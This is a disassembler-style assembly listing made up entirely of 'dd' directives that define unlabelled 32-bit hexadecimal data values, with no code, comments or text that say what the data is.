dd 0DB6220A0h, 5E033597h, 0A7038B17h, 0B0C095CEh, 3AF0502Fh
dd 5A00D58Dh, 936221FCh, 1F0083B1h, 0EAFDD909h, 0F4A7012Ah
dd 0AB1D0022h, 88BBEE4h, 92384020h, 94232C63h, 56659C00h
dd 0ADFED73h, 9AA3E3F0h, 0F2733DF5h, 9D430089h, 418CD70Ch
dd 1600C3D9h, 0E98FCBC9h, 0A372F16Fh, 3D209F82h, 66FE7Bh
dd 4A689430h, 0E2D72F55h, 10DDA400h, 57A1543Ah, 3010462h
dd 8040E12Eh, 41D9B44h, 0CBB39302h, 40E8D14Ch, 0E0A20262h
dd 0D67407A6h, 57AD4DF3h, 0A1C570BDh, 7737C8Eh, 3B3ACA0Fh
dd 7BF64027h, 95405EAh, 0A7794060h, 0A5B5B800h, 2401C151h
dd 589DAAFCh, 5F306353h, 5D0300A8h, 0F70CBCAEh, 6E1DF269h
dd 304034EDh, 567247Dh, 772C056Dh, 90FB6FB9h, 815C8510h
dd 0F7C41F00h, 7B234F4h, 298F002Ah, 2325717Ah, 0E51FA42Fh
dd 0C040FE4Ah, 9E405D8Bh, 0B21A0294h, 0F170C15Bh, 4D33A1C0h
dd 0A464870Bh, 771000A5h, 0B88C6A6Fh, 687C003Dh, 0E1C11C6Ch
dd 0FB01B127h, 2E213BF0h, 0DDEC5D2Bh, 8BA92h, 338DF290h
dd 74C84385h, 7FAACA00h, 0F97BF514h, 7D8F0148h, 8BE67915h
dd 0CCF4EC5Bh, 367730F9h, 4FCEB101h, 0C1152ACBh, 0E29202F0h
dd 9A120049h, 0F370BDE6h, 0ED0047D0h, 35934542h, 0C75A7Fh
dd 5D634021h, 117096A2h, 2655E200h, 694A6C6Dh, 3B670B9Fh
dd 0E9006019h, 28AC783h, 0BD53D305h, 0F81E3F29h, 0DA5C26C0h
dd 0C5945Ah, 0FED56FD8h, 9E48AA0Ah, 7E3C39h, 751CB566h
dd 0E8D60Ch, 0F60F3456h, 0AF43F392h, 83EF0D00h, 686C4D73h
dd 54B9028h, 9DFDBA01h, 24F0CC59h, 0D6995B05h, 60C0E08Bh
dd 0A43678Eh, 0A83A01DDh, 409316BCh, 0C5AFC8D8h, 861E552Ah
dd 73804560h, 138C984h, 0B7580F7Ch, 14AF8151h, 5FF16EE0h
dd 0CD012753h, 4DCFB6C6h, 0D0D4F9B1h, 5DFC09DFh, 0D900C9A3h
dd 3622BA76h, 1369FE09h, 0F2E482EEh, 74C060E2h, 7C77184h
dd 0D5C55B7Fh, 2E0290ECh, 4170362Ch, 79627700h, 4843CE4Ah
dd 3B8AFC95h, 32009B46h, 1D87F07Eh, 0BF00AFBAh, 0AB962135h
dd 0B59567h, 4EF3A671h, 0E7AA9964h, 1C2A59h, 1619478h
dd 2519BBD5h, 70005B56h, 0A850C328h, 10C71300h, 0DCB3C486h
dd 0FF7D00B4h, 0EA9C733Fh, 4300C693h, 88E96925h, 31974CFCh
dd 0ECA0F462h, 0A4A2201Ah, 15B05512h, 5B940Bh, 0D00D2E20h
dd 0CF860042h, 0D7DE0E56h, 1D001045h, 349147FEh, 0BF8DFF1h
dd 0C1CFD81Ch, 84271800h, 0CC1FE2E7h, 63406FA9h, 13CE024Ah
dd 56120B94h, 0BC800C8Eh, 87EF6141h, 0C84F2500h, 7C6FA8B1h
dd 10761F13h, 6BF5808Eh, 31B8EECAh, 74E7D63Fh, 0D2A1DF0Eh
dd 5343C091h, 254EC237h, 9C80A87Ah, 8846F624h, 6D72E500h
dd 20EDB0F2h, 18474C28h, 21B77101h, 50B579E8h, 9F50B3A8h
dd 645AD300h, 0C7D55225h, 96EE0087h, 32778545h, 0A3012365h
dd 0C3C1CB2Fh, 3AF8B8C4h, 83A2093Ch, 5CC85E47h, 6A01B9CAh
dd 0C059576Bh, 3D000A52h, 0A100B6BCh, 8B991A2Fh, 3FF7693h
dd 0B9D2ED01h, 0B14BDFF6h, 0C311E0h, 9A9035E7h, 0C4D1E8BBh
dd 0AD25A106h, 3E012DBh, 0E1DFEC59h, 0C102A84Dh, 5B46AAF0h
dd 0D1044856h, 2A3D00CEh, 0A2DD6E0Ah, 1E002E60h, 8AD6FA90h
dd 67AAB5h, 0A17C2859h, 0D3421D66h, 0CE1A7B00h, 57538BB8h
dd 0CAF52884h, 7E1400BBh, 0C8789925h, 0BF009B8Eh, 1638CBECh
dd 1F95C6BBh, 65E15BCDh, 0B94A3C00h, 40041EBh, 0F77885BDh
dd 636ABAh, 7550C083h, 719F5755h, 71611220h, 0EC4C010Ch
dd 743A2D6Fh, 0F4C080E9h, 9491E016h, 88D3829h, 0BB8C5104h
dd 2BDC8C9Dh, 0AE009676h, 0DA05364Eh, 3CFE23FBh, 6F803ECEh
dd 5290C85Dh, 6D012ED4h, 43E10F67h, 0D450D76Ah, 0EBBA7Eh
dd 0D5957859h, 0FF1D7F33h, 6E0D8775h, 88A031B2h, 1F7D7E4h
dd 2F092476h, 0DD3668C3h, 0AE8CC0C4h, 69140E00h, 47F6A459h
dd 3B372607h, 118A07BEh, 33E490A6h, 0C44EA3CFh, 44E7E802h
dd 0C694A1AEh, 3468F65Ch, 0D67C2Ch, 6DD0E1EFh, 860060A7h
dd 3B010E1Eh, 6674707Dh, 48BF24C1h, 5DCF050Fh, 23DB4E54h
dd 93E6D928h, 885601A4h, 91AAB31Ch, 0CA8024F7h, 98DFB826h
dd 0CF2C8200h, 0FDF83015h, 14C18420h, 0C468FE25h, 0D4953B00h
dd 7B1191C6h, 0FA74CC04h, 0D080F816h, 7BC27F0h, 4A67DE70h
dd 1D8F6026h, 750064FBh, 0B4342C9Dh, 0FDBD918h, 0E445ABE3h
dd 0F1CE37E4h, 43C360ECh, 79845C00h, 0C8D31471h, 0A157008Ch
dd 6EC58D5h, 0A509798h, 8000F2B8h, 0D49F2C36h, 921DD1CEh
dd 0F3593E70h, 8D30D505h, 0C3009084h, 860F27D0h, 20FE8902h
dd 73814E80h, 22820EDCh, 9A401903h, 5DF29CE4h, 0C51E5F00h
dd 0A2D823D1h, 97C80B12h, 54402C0Ch, 5C291413h, 6513C87Ah
dd 3056B881h, 1701DC28h, 0B7B19251h, 4C31D1B0h, 0EF00D744h
dd 69675EBDh, 0A049819Eh, 4215B0h, 0B8D8E253h, 30B9FCB0h
dd 0E7CA2500h, 1D7D203Ch, 1C9C16h, 0DD0DD14Dh, 10C019DEh
dd 0D2073698h, 3A373B63h
dd 544A900h, 0CB5E2990h, 54FEE700h, 0E67A4A39h, 4BDE3F25h
dd 1A9EE48Fh, 0CF671CE0h, 0CC4B10ADh, 0E9E70000h, 265FB4BAh
dd 38274076h, 0DFEEB983h, 10F0C8F2h, 8B0012E8h, 4DAECF6Bh
dd 0E77D80h, 0FA75F47Ah, 0AC218717h, 0FF0C0509h, 0F6B00E5h
dd 742E5Dh, 6BA1EA1Ah, 0B7A68F9Ch, 3101C00h, 55C8FF5Bh
dd 18F2009Bh, 0A10BCBFCh, 8600B511h, 0DEB3B9EAh, 0CA4AB6h
dd 7CAB3C08h, 66AD67ECh, 304A50Fh, 0CCD5A2h, 0EE783FB9h
dd 1C7CA9h, 52F389D7h, 6AD2B303h, 7BB24800h, 0D59B383Ah
dd 6F883039h, 0DE3B6B0h, 0C7700400h, 1D303ECDh, 0D362005Ch
dd 0CC85808Ch, 43004788h, 7056E42Dh, 978669Ch, 0B602D8F2h
dd 0C0CC0824h, 238165E4h, 510AD900h, 0C56B6943h, 7A3B0088h
dd 9032793Eh, 75B0A20Eh, 606A1500h, 880ABA4h, 41B20088h
dd 0C204664h, 0FE24617Eh, 0B980C45Ch, 1D98BAC2h, 0CA5B2726h
dd 0F1FBD080h, 70008D49h, 79B053F0h, 0E4B6829h, 4A9092A7h
dd 5ED91620h, 0FE0099C7h, 0B4AF7488h, 3DA42271h, 4600E0A7h
dd 2580A22Dh, 0BF00565Dh, 725E9B51h, 5D752h, 687ADF24h
dd 974E1E12h, 16A6AD1Eh, 76DBB600h, 193495Ch, 636EC1C9h
dd 0C0261398h, 44E14411h, 0DA618388h, 906B04E0h, 4B846FCh
dd 8087BF3Ah, 0F1BE92D1h, 9E9814h, 0DC235834h, 0D415D5BAh
dd 7E4EC000h, 40872D17h, 0B1463F44h, 8009854Ah, 9DC3B670h
dd 2409933Dh, 7C809C73h, 0E13B8BFDh, 189700FBh, 0A4E465Eh
dd 40007D92h, 3E90CC0Bh, 0BD369C8h, 3981FCD0h, 0DAAE30A2h
dd 0B6007C7Ah, 544504C7h, 11F5DEh, 0B84E87ECh, 5D4975FCh
dd 3D16203h, 0C0E028C4h, 75C7023h, 2C54B15Eh, 81A1F0C8h
dd 790078B0h, 56A625F9h, 9B632Ah, 33C016B7h, 0D080ED38h
dd 0BC5F100h, 1227360Dh, 0D33109F3h, 0F2032C08h, 0EEC8D47Eh
dd 0BC007FC1h, 0F2929C4Eh, 0FEEFA3h, 5425AEBDh, 5A474CCCh
dd 10EAC21Fh, 6F02F3CEh, 740732CEh, 85F0DA30h, 0B6ABE6Ch
dd 0A1A8EFAEh, 8D7AA800h, 190EB881h, 1B3A59h, 0E7ECA913h
dd 84AB5DBBh, 1F2C7E04h, 0DF3C80E1h, 1712D2FFh, 0D403E5A2h
dd 88D3D55Fh, 3F379F7Dh, 81F7C25h, 0D70F407Bh, 0D9CEBC02h
dd 2957C700h, 2E90D85Bh, 7D4E003Ch, 0D7816815h, 0AE0062E1h
dd 0F61777A7h, 5451992h, 0E94D5839h, 76890E4h, 3C001FF9h
dd 0A613D3B1h, 39330A43h, 6A8EB0B2h, 6D209BD0h, 257FE62Ch
dd 97ED8A05h, 0A90058D8h, 55F7B9FFh, 0D0480056h, 4679CF68h
dd 1F001491h, 0EB0FB8E7h, 8845C3h, 47EA9DC8h, 0E3B05FECh
dd 0F4B63700h, 421C335Ch, 78E60026h, 0FBDE50F3h, 0C603BC8Eh
dd 0E820F9D9h, 0C0D3F2DCh, 4CA1ECD4h, 0BC2DAC13h, 7F5EB8A1h
dd 9851E0F5h, 7AD95B00h, 6D45E348h, 0B1800061h, 59443F34h
dd 5C24CBE5h, 1700B720h, 144E799Ch, 0B93500C1h, 71482C9Ah
dd 0AE17B1F5h, 18803260h, 0F5ECA28h, 0AB81D673h, 91344096h
dd 0E6ED2DDBh, 623DDC1Ch, 0D88FAC7Ch, 9A3584BCh, 74D0A2ECh
dd 1347DBB0h, 0FCCBC2h, 1C5B67CCh, 7804160Eh, 35B3D054h
dd 0DCAC0493h, 319A4B4h, 0A0044558h, 69E3CFDDh, 0B815EA88h
dd 0D03D3200h, 182577F0h, 0C3E00E97h, 49C543A8h, 98F80F66h
dd 6CCB809Ch, 0B82AE7E6h, 555F5716h, 0D24F5A00h, 1B840Dh
dd 0C1C38B0h, 0AF2F2A0Ah, 8F638E01h, 0E687FB92h, 4CDB4FCh
dd 3961E5E4h, 0ADC08048h, 14002686h, 2B246C52h, 10344CAh
dd 6431B53Dh, 0CC232C18h, 5D065E63h, 6D209924h, 0F0D100BEh
dd 8D3773ECh, 713D7A27h, 0C6DA893Ch, 38AA02EEh, 0D8B8EB25h
dd 0F574511h, 8539888Bh, 0B04AC987h, 36FD4E6h, 6EFF9101h
dd 0C2B13D41h, 4DA1EDCh, 557AC9B8h, 4F58E447h, 0D6094B00h
dd 9E766326h, 0B9BA1D0Bh, 3DD401BBh, 502C9F42h, 244A02E4h
dd 0C800744Ah, 6389CA35h, 46680178h, 52D2BCF4h, 0CE1130CFh
dd 0DD6C214h, 0B96C00D0h, 531E90EDh, 0AB9D17FCh, 0A50C81F6h
dd 0BA2C3002h, 0DBE1C000h, 65FC3C1Ah, 0F46807B6h, 6F7CAF4Eh
dd 0E183F86Fh, 0C0E89354h, 4D731635h, 0DB8BAB07h, 0D0F0897Ah
dd 2BF1F3Ah, 778A8FDEh, 7CE82EDCh, 0C49B91ECh, 329CF503h
dd 0B2F40276h, 0DD3CF1DBh, 6DDE1C60h, 37AA2B00h, 44626E7Eh
dd 0F87863E0h, 0F0E86A83h, 0E930A946h, 0D737E803h, 1ABD3E51h
dd 8296247Eh, 0FFBC03CCh, 9EF4397h, 0F0DF981h, 8D38F0F8h
dd 0CD9E024h, 0C405800Eh, 7081ABE7h, 0E8CB8C1Fh, 158FBFFh
dd 0ECDCA5B4h, 0E8862A90h, 8903F8DAh, 0C2165B69h, 0FE88E8C7h
dd 6BB80098h, 0D48FEEC3h, 0F0B23E3Fh, 0CD49A700h, 5E40634Eh
dd 813C007Dh, 0ACFEC7B3h, 0C807FABAh, 0F57976F7h, 0B08E4A63h
dd 16C1DE12h, 956F8D32h, 8094A058h, 0AE7B1F00h, 71BA027Eh
dd 28035EE3h, 0B012B90Ch, 0B880AFD2h, 28832Eh, 45A2568Dh
dd 1BC373EAh, 47DFCE03h, 0E8F0ED3Fh, 720A06Ch, 2AB43884h
dd 338B8039h, 520CA7CAh, 7092610Ah, 0E0DD00C1h, 0B63B44CFh
dd 0F0007A1Dh, 0D00E097Fh, 0F706D2h, 59C932Fh, 6F80F2D4h
dd 7A8D2C00h, 49796CD3h, 0AC5802B7h, 2D566250h, 10766960h
dd 12849B00h, 805A48A9h, 0D76F0029h, 5B53A3FDh, 7800491Eh
dd 7E031B4Ch, 3D622792h, 0C409CB34h, 34646F2Dh, 0FD795800h
dd 391EDBB4h, 0D63705A8h, 0D05F4BE0h, 555D4FF0h, 0A3EAE71Ch
dd 0E46E9170h, 0B19102BEh, 3526723Ch, 0F7CFD860h, 0F04F25Ch
dd 60C5877Dh, 694D7105h, 0D98300CBh, 0ADD14FC6h, 3F12DE62h
dd 50E4FF1Fh, 0DB1603E6h, 0E19F1E6Fh, 0F7B41E7h, 2E1F05FEh
dd 5A03901Dh, 0E6002B8h, 3E42DE99h, 96EA0653h, 0F009089Bh
dd 0D869788Ch, 0D85A2E78h, 42680FC9h, 23C03620h, 97004DC2h
dd 0DAAF5B05h, 0CD9371h, 8ED3612Dh, 4AADE17Bh, 0B5003475h
dd 9E019A22h, 0E017D581h, 0B7FC00FEh, 5E5A86FBh, 0FA003A28h
dd 0DFDEA664h, 5D42E1Eh, 14EDB7FEh, 9A5C40FBh, 0DC5E459h
dd 0BFCC4007h, 0F90C5E21h, 343E59FEh, 3FC4C101h, 0D0873938h
dd 553CBDA2h, 26C8875Fh, 2F5417h, 0EEB68D3Bh, 0F13E0027h
dd 1B372AB2h, 2F09D107h, 8F14D3A8h, 8E38C611h, 906E0E76h
dd 0F4405183h, 1581DDCh, 6C633C00h, 46AC3372h, 0C2A8037Eh
dd 8AE5448Bh, 62A1D698h, 0D0725E00h, 0A2347AC1h, 4C900021h
dd 0ED192A84h, 88003361h, 7A4E9209h, 0FB81DDAh, 0FD9A5856h
dd 357090C0h, 0C6005212h, 80E82EBh, 0B28794h, 88668F58h
dd 119D62BFh, 6CE4A803h, 0A7AEA246h, 0B8744293h, 0F2C979FBh
dd 0A98B0016h, 19F6085Dh, 53001C57h, 6E71880Eh, 544472DDh
dd 4C079C46h, 5F00E42Dh, 0D9404326h, 0AD1403F2h, 80C49D89h
dd 0BEB8907Dh, 0E09A00B5h, 57E9B331h, 560ED243h, 6013C292h
dd 29BE30A1h, 63030C25h, 0C7613B68h, 0A29B5F00h, 0D15DFDC5h
dd 922C00F9h, 0EAF4A3Dh, 42015A1Dh, 37CCDF09h, 588EECE7h
dd 23609F03h, 0AFBAD152h, 493A48C0h, 29A04h, 749E7D5Bh
dd 87DDD538h, 0E4A2A600h, 17E25CF9h, 0D839392Ch, 0D77B7780h
dd 732614EAh, 16DF9505h, 4C1B8963h, 0B7D5E070h, 9CD00149h
dd 7B634A39h, 0DF218B45h, 4D4440BAh, 0E5BD0070h, 0B2DDB3F0h
dd 0CD00C0CBh, 730B02B7h, 17ACE38Eh, 4045DF7Ah, 0FCC810ACh
dd 0A8001EA6h, 80A2C50Ah, 62F16Eh, 54896029h, 0EAFDAC5Ch
dd 0B056830Eh, 6BBE8319h, 4C3E09Ch, 0BCAB0F0Fh, 0F6801AA6h
dd 0BE81D1E8h, 861B8FF0h
dd 0C0187505h, 0DE85C2h, 9EBBDA49h, 0FF1E0D46h, 4091C000h
dd 611A1065h, 0FAC500A7h, 2830CF38h, 60B632Dh, 0D7BF420Eh
dd 824C5C80h, 0CB0F19CCh, 227E0D26h, 962BA666h, 67C60214h
dd 0AF36BACDh, 4B2C9461h, 0F5B60314h, 0E074D768h, 60B1CE70h
dd 1106A8A2h, 0CC00AF47h, 0DEC7156Bh, 539F5D45h, 0C5C31473h
dd 1B7376Ah, 4BA00D50h, 0CA970074h, 0CFF793D7h, 0A2F100B7h
dd 6A0C2205h, 1301C84Ch, 0CDC24432h, 344B6FF5h, 94F5D00h
dd 2EB8C9CFh, 802070D1h, 8F81ECAh, 54C42927h, 0BD7A6044h
dd 0B014C9A6h, 0AD4A3A9h, 0D81CEB05h, 6B949100h, 95C21Bh
dd 8C6F5A82h, 0EFE80DBh, 0B24B9618h, 5054B529h, 0F81AF885h
dd 0B11E911h, 0F10424EAh, 1F3DF000h, 0D66D8453h, 0C9040012h
dd 0A4819A37h, 0C800B6E3h, 9B9C7008h, 300EF865h, 1D49A6ACh
dd 5C007893h, 541B45A8h, 0C6ED69CEh, 7998EF59h, 31DB4700h
dd 25C98885h, 502C0005h, 2423AD4Dh, 0E271FBCDh, 0D51B5106h
dd 0B9EA04h, 9B467706h, 0A1EEBF6Bh, 0E5DC231Dh, 2821EC18h
dd 324600AAh, 43C15B2Bh, 250A2FFFh, 3C1FBB59h, 0F84E803Fh
dd 884BC16Fh, 17C7010Ch, 0E3B3EA16h, 650DC4E7h, 0B244ACA4h
dd 61F800C2h, 4797F34Ch, 0D900D05Fh, 55A159A2h, 166CF4Eh
dd 12D834F5h, 0D21BB328h, 1C768F60h, 0BAA06701h, 0BDE313A3h
dd 66CB9050h, 58DA00BFh, 0BB10E756h, 65002732h, 0FF7DB198h
dd 61C85BBAh, 90B5B082h, 0AF088A4Bh, 7543D454h, 0B8DA1A0h
dd 0BA3E11BEh, 412CE280h, 45EAB0D7h, 7AB1CF3Ah, 0D2DBBCABh
dd 409249B0h, 3814D879h, 1D7004E4h, 0AF00D5FDh, 0F54B1BCFh
dd 5F1141Dh, 0D923C0C9h, 3746A300h, 86EF9F6Bh, 0F4FE44h
dd 4DA948D5h, 0B6021B6Ah, 348B4F24h, 0B44B43h, 42A94629h
dd 0DDCD3F28h, 0C8E59F18h, 24546F18h, 158939Ch, 0B044BD31h
dd 0E3418086h, 108FAA83h, 0C1470C61h, 0E0085103h, 0F3C9ACA8h
dd 574AAA03h, 988F231Bh, 269D328Ch, 78DC30h, 0AEE3200Ch
dd 6B0DA097h, 18704C54h, 0AFF36888h, 9EAAF460h, 22994610h
dd 8CC413E6h, 0B8480EAAh, 8A8E158Fh, 1FF393A0h, 98036FDFh
dd 3C9AADA0h, 236012D4h, 68281986h, 0A8684837h, 10A2A908h
dd 40DBC439h, 13AAF0D0h, 1007022Fh, 5CCE318Ah, 7CA6A0A0h
dd 4280508h, 0B37CA48Fh, 10A09924h, 7B1F3140h, 0CFE33157h
dd 2251B5F0h, 0B00A06F8h, 0A18DF7Fh, 0C6086BA5h, 203D4584h
dd 0A8A99E50h, 4A491010h, 0CE80E7C8h, 0D537AAF6h, 70170029h
dd 4F734EACh, 24097FDCh, 3121C56h, 0E3B78620h, 317000AFh
dd 0E710B158h, 19F6D175h, 3BBC2E00h, 3581020Fh, 600C0013h
dd 364899BFh, 31E6A8FAh, 50272F09h, 0CF4A8743h, 96766FE0h
dd 0FF080042h, 8C9B90A1h, 40EAFE6h, 58FA5D35h, 25B928h
dd 2B48CAADh, 0B8BAE675h, 14670B00h, 9BED4C15h, 0EBE30334h
dd 0A887E928h, 99C080DBh, 2100CB4Bh, 0B02DB623h, 0C98EB53h
dd 0ABA64A69h, 413B8B58h, 637B005Ah, 6793C2F5h, 9F330043h
dd 0C05ED42Bh, 120F7056h, 6358BF86h, 0FDA5EAh, 0CB25ABB8h
dd 0A8AC3EC7h, 66364600h, 0B485F2B8h, 302800E1h, 704517Dh
dd 1900C606h, 1498F0A0h, 0E9B639h, 943E489Bh, 0A798229h
dd 0C4F0B160h, 0E8B2A94Bh, 833900AAh, 19349AC3h, 0D8016554h
dd 9E7B6E86h, 44F7DA5h, 0EC1F80ACh, 0A803A6F2h, 0E06DBA51h
dd 7EE6656h, 449BF4F3h, 2A6C788h, 0B2501DB4h, 42BED018h
dd 88F6AA28h, 29808388h, 6E7FBFh, 0C6F96543h, 0E6F382C5h
dd 140021E2h, 5FAC68C8h, 1E4E78ECh, 0C0663324h, 0F54F16C7h
dd 4100D1E5h, 3A6A8557h, 0F40A53C6h, 0DC6B0713h, 804BBE29h
dd 7E59513Eh, 2E98B400h, 61F44C8Dh, 58E43D67h, 6ED8738Eh
dd 9B7752E0h, 8F01D65Ch, 0F5785E35h, 14E8BF70h, 3E2C3CD2h
dd 867AEC80h, 4FE938AAh, 0D6D9A000h, 7A9BC35h, 6076F0h
dd 29AEEF83h, 0F5C39A9Eh, 6F3D100h, 7B2E361Dh, 64F400BCh
dd 7D9E411Fh, 70F4374h, 40C40BE3h, 0E1C2A7B7h, 199F00ACh
dd 0C8F3FEADh, 0AE387888h, 0EFB300B0h, 212F9C34h, 815F18C9h
dd 0D51DB06Bh, 364A8B01h, 0FB02AABDh, 0B3DFC0h, 5585BA68h
dd 0F6B9CCE7h, 2BDDEF00h, 6E125828h, 25340051h, 0D8E2C5D7h
dd 8D002DBBh, 0B676C8FAh, 0EF4FF2Eh, 515999DBh, 30626366h
dd 1CB5DD00h, 431F14Fh, 0EBAE1426h, 0D1EB4C8h, 9CD643FEh
dd 0F4F00346h, 3B00127Ch, 84C5DAEh, 1CF52BC0h, 0C01B6EC3h
dd 0DC74B1EDh, 57001C4Ah, 0B625CCCDh, 2C6082h, 628C2E1Dh
dd 35E5E8A6h, 37553A17h, 0CBD4D900h, 0BDC1EBh, 3975CF19h
dd 623D59A4h, 0DCCC1200h, 0C60C76D8h, 0AFE301D9h, 1CD52AD0h
dd 7B542009h, 97E40100h, 7CD1283Dh, 399C0FFCh, 6160718Eh
dd 4247D43Ah, 0F6005098h, 90FF8C10h, 301FCB8h, 0AB777DDCh
dd 202E3BA6h, 0E7001A30h, 9D76071h, 76450964h, 283E934h
dd 2588FACCh, 0FD002837h, 64948981h, 1C8ADAF8h, 80F20E71h
dd 88B9CEC9h, 0C31EC4BEh, 0D852A0EEh, 7F5CB040h, 1FD545FFh
dd 4099118Ch, 4037FDB4h, 7000E982h, 73FEE062h, 0D269A6h
dd 77C32022h, 85D9B290h, 0C1CA0C0h, 0AC40A50h, 873DEAA3h
dd 0E9FC8040h, 2344FAA8h, 78362603h, 0D0E6CA51h, 38E13BFBh
dd 8703F256h, 15CDB8CFh, 0FD795000h, 0F3924ED6h, 0B79500ACh
dd 0BB53C9EDh, 0B3F08C9Dh, 0C860BD00h, 2C36525Ch, 0A51E0034h
dd 5996436Dh, 6218B96Bh, 0B3E171B4h, 53AFAACh, 3E14D481h
dd 90B0001Bh, 0F1FA22ABh, 20F97A7Fh, 3724C98Ch, 0B2002066h
dd 0D58213E0h, 0D8A3F2BFh, 7B4C0CF8h, 0EF801200h, 8A1E705Ch
dd 6F090E0Fh, 0CCC0A7FCh, 9FC2235Bh, 0D01778C0h, 0F631ACD7h
dd 99F61213h, 0CD083114h, 7449F0FCh, 26638203h, 0D82BBFE2h
dd 229AFEh, 5E3C2CA9h, 0C0576933h, 5DA23Eh, 7D6D515Ch
dd 6AD237h, 0D7EF6582h, 0FFE01E5Ah, 5014B030h, 3076C050h
dd 0A89C5A8h, 8B0040ADh, 0D96321ACh, 1D4E28h, 0D1BA9818h
dd 6DF2F450h, 6C6080F5h, 0E72AF162h, 0DB2D0086h, 60CD39F5h
dd 0DE30E355h, 650278E4h, 9192006Fh, 0EBA6CC7h, 4D00CB9Bh
dd 0B0D5D35Bh, 1FEC8410h, 3EFBB9DBh, 9A922698h, 6700523Ch
dd 0DC1CE0F6h, 7E334402h, 0B12C1D7Dh, 0C4414AF0h, 5500B8CCh
dd 0C220B903h, 0DF1D30E0h, 9103EE39h, 0D8CD94D7h, 0DCF85Dh
dd 588F6C98h, 0C6F140B9h, 0EA00F890h, 47437054h, 411AF6h
dd 98CCF8D9h, 8530E93Ch, 190084B2h, 4627A65Bh, 4D5571Bh
dd 62BE732Bh, 1104807Fh, 1492364Bh, 0BBD858h, 40BDB7D1h
dd 4DCE64h, 29DA7BC3h, 81E2F166h, 223B7600h, 0EB4B470Eh
dd 0EF10009Fh, 0BEDF74B6h, 3C002AAFh, 427FC16Fh, 0FC5D12C6h
dd 91B2012Bh, 95EFBA74h, 448C4043h, 827D32F1h, 9C005C90h
dd 0B6C514DCh, 830412h, 48BA296Ch, 13F9670Ch, 0A0249848h
dd 0FB77718h, 819BFB9h, 91795D24h, 0F42072D0h, 0A4011C31h
dd 82383B17h, 4340F39h, 0A19B406Ah, 994B949h, 5BFD99h
dd 3CB0EB08h, 0F889008Bh, 0B28F6652h, 600E8C6h, 0A19D1A8h
dd 1C18CBh, 5EAB3C31h, 0C6ED5BDh, 3B007491h, 0D10E185Fh
dd 2250C159h, 26034711h, 54C72298h, 2E85E44Ch, 0ED7E1E5h
dd 8F42CC28h, 74A0D278h, 2F22D9Bh, 0DC44A824h, 0A2076102h
dd 0CED8A099h, 7EE8F8B7h, 448A4DCBh, 0FC307C00h, 6CBDE535h
dd 0D912E9E8h, 0FC45A46Ah
dd 0DB1D6F79h, 0DC487193h, 8D8700DCh, 799B351Fh, 96FE1203h
dd 1C2BA94h, 6277C469h, 3013B7D2h, 9A98C308h, 0DE1D8F00h
dd 0FE4FEBBDh, 6CE70038h, 31524DC9h, 55041AF3h, 990359D2h
dd 293AE890h, 27D0039h, 0BA05E43h, 59F81653h, 3DB460EDh
dd 0C61D00B8h, 3F9CFB75h, 1CB8CC0h, 582FFC18h, 4716DC77h
dd 0C500BF40h, 0E1735FCCh, 275D3879h, 3EE3C800h, 609ED3BDh
dd 80EBF83Ah, 0D7F3B9D9h, 6CA254h, 0F15B7405h, 0B0852E5Dh
dd 7307607Bh, 2A708977h, 0F96E4361h, 0D0A420h, 5B9DE5DAh
dd 238345F6h, 74F9103h, 0A8D5CD09h, 0D02DDCh, 0B6DE2885h
dd 0B51E3B43h, 0F16823Ch, 80E032B2h, 0FD68ED77h, 506C0086h
dd 0E728CD24h, 1BEC6D53h, 0CA3DD00h, 0D40EE47Fh, 24D49079h
dd 1F447E0h, 5FF4C1AFh, 0EC20D901h, 1950EA85h, 4F3C7FC4h
dd 0C4A280A9h, 0CF86A364h, 9FAD13A1h, 2EE00115h, 0E0377173h
dd 1F48400Dh, 9B8E0040h, 1759BA3Fh, 0B79403A6h, 0A01586AAh
dd 0F62AFF8h, 0EA822F00h, 0E980DBB3h, 4509008Eh, 3A367A24h
dd 1000C3A8h, 9E9CCD86h, 5D2BA0h, 1B891D35h, 0EDBAA6B6h
dd 0E2C46400h, 0F84B377Ch, 54AB24B9h, 0F0F60F72h, 0ECA825E7h
dd 0E2093DE0h, 0A0F59986h, 36A6D3C0h, 0B18AA0FDh, 944501A4h
dd 0AA28586Fh, 4EF1801Bh, 0E84396C4h, 2460FAA2h, 8C5D91h
dd 71C2DFB0h, 0F128B1C1h, 6900CC13h, 2DF61587h, 0C937D9D2h
dd 0F4187184h, 47805C01h, 31BF00ADh, 0C75A91D0h, 0DB00D85Fh
dd 0E8CE540Eh, 0FC3DDE3h, 5C752B6Fh, 90A31CC4h, 997CD294h
dd 0C300A5Dh, 0A9F4E0A1h, 30570004h, 97A466BEh, 6905E7ECh
dd 2A5E13A8h, 6848B8C2h, 6BC7E0h, 0CFAA29E3h, 7CB1AD8Dh
dd 11ECC92h, 9A922F0Bh, 2963F441h, 0E836DCBDh, 0DA007722h
dd 96BB74E1h, 39077E24h, 52822B05h, 0F3BF303Dh, 30970C4h
dd 0A0EA42F5h, 0CDD9A58Ch, 0ACE906A9h, 0C9BEA2BDh, 724B9807h
dd 0B7F02AF9h, 74F13A6h, 5551B4B8h, 33E7F0D1h, 6218BF78h
dd 79F16CECh, 81F013A6h, 8BE04083h, 4F21BB4Eh, 0D017E328h
dd 0A2EF1D02h, 0C5F3C015h, 385424B8h, 2CE52580h, 0E1EB7DD7h
dd 969E4E00h, 23D67AA2h, 0EE3D01E8h, 976F02DFh, 4C08086h
dd 0D5E7457Ch, 0F95100D1h, 201D90D3h, 7700229Ch, 50EAC542h
dd 46EB305h, 65B430DFh, 412CC791h, 7E8CB6D6h, 0DC03CC7h
dd 2CF66809h, 45A8414Dh, 2E218085h, 5B17A377h, 74670697h
dd 0F833B223h, 6AD9A4Fh, 67853AF8h, 0DAF41139h, 82B22115h
dd 558300D0h, 2AF62497h, 7B8B04Ah, 85E9FD40h, 0A636D029h
dd 80B8BB4Ch, 0B39CD900h, 1DED3D4Eh, 7110544h, 41455268h
dd 7CFCC7B4h, 3C46D60Fh, 3DD38E00h, 0A9192314h, 587C2511h
dd 5F6E4007h, 7A0774E3h, 71038800h, 0E8A9A662h, 41DF66F5h
dd 0BD736EE5h, 748F5Ch, 83EC6A25h, 0F913E833h, 0F8C79460h
dd 5227128Eh, 80B85E8Ah, 5F0F017Dh, 36058408h, 3CD69C12h
dd 0BC90D200h, 0AB4A41Fh, 803BCC6Bh, 0C65C008Ch, 0A21A4BE4h
dd 6A470700h, 5A610DD2h, 7824003Fh, 11BB7E35h, 132CD10Fh
dd 8F80989Ch, 0C3260CA7h, 151A094Dh, 0DC8049EEh, 8E98451Bh
dd 8A79631Fh, 8350C74Bh, 7EAFE4Eh, 453EA020h, 325520E0h
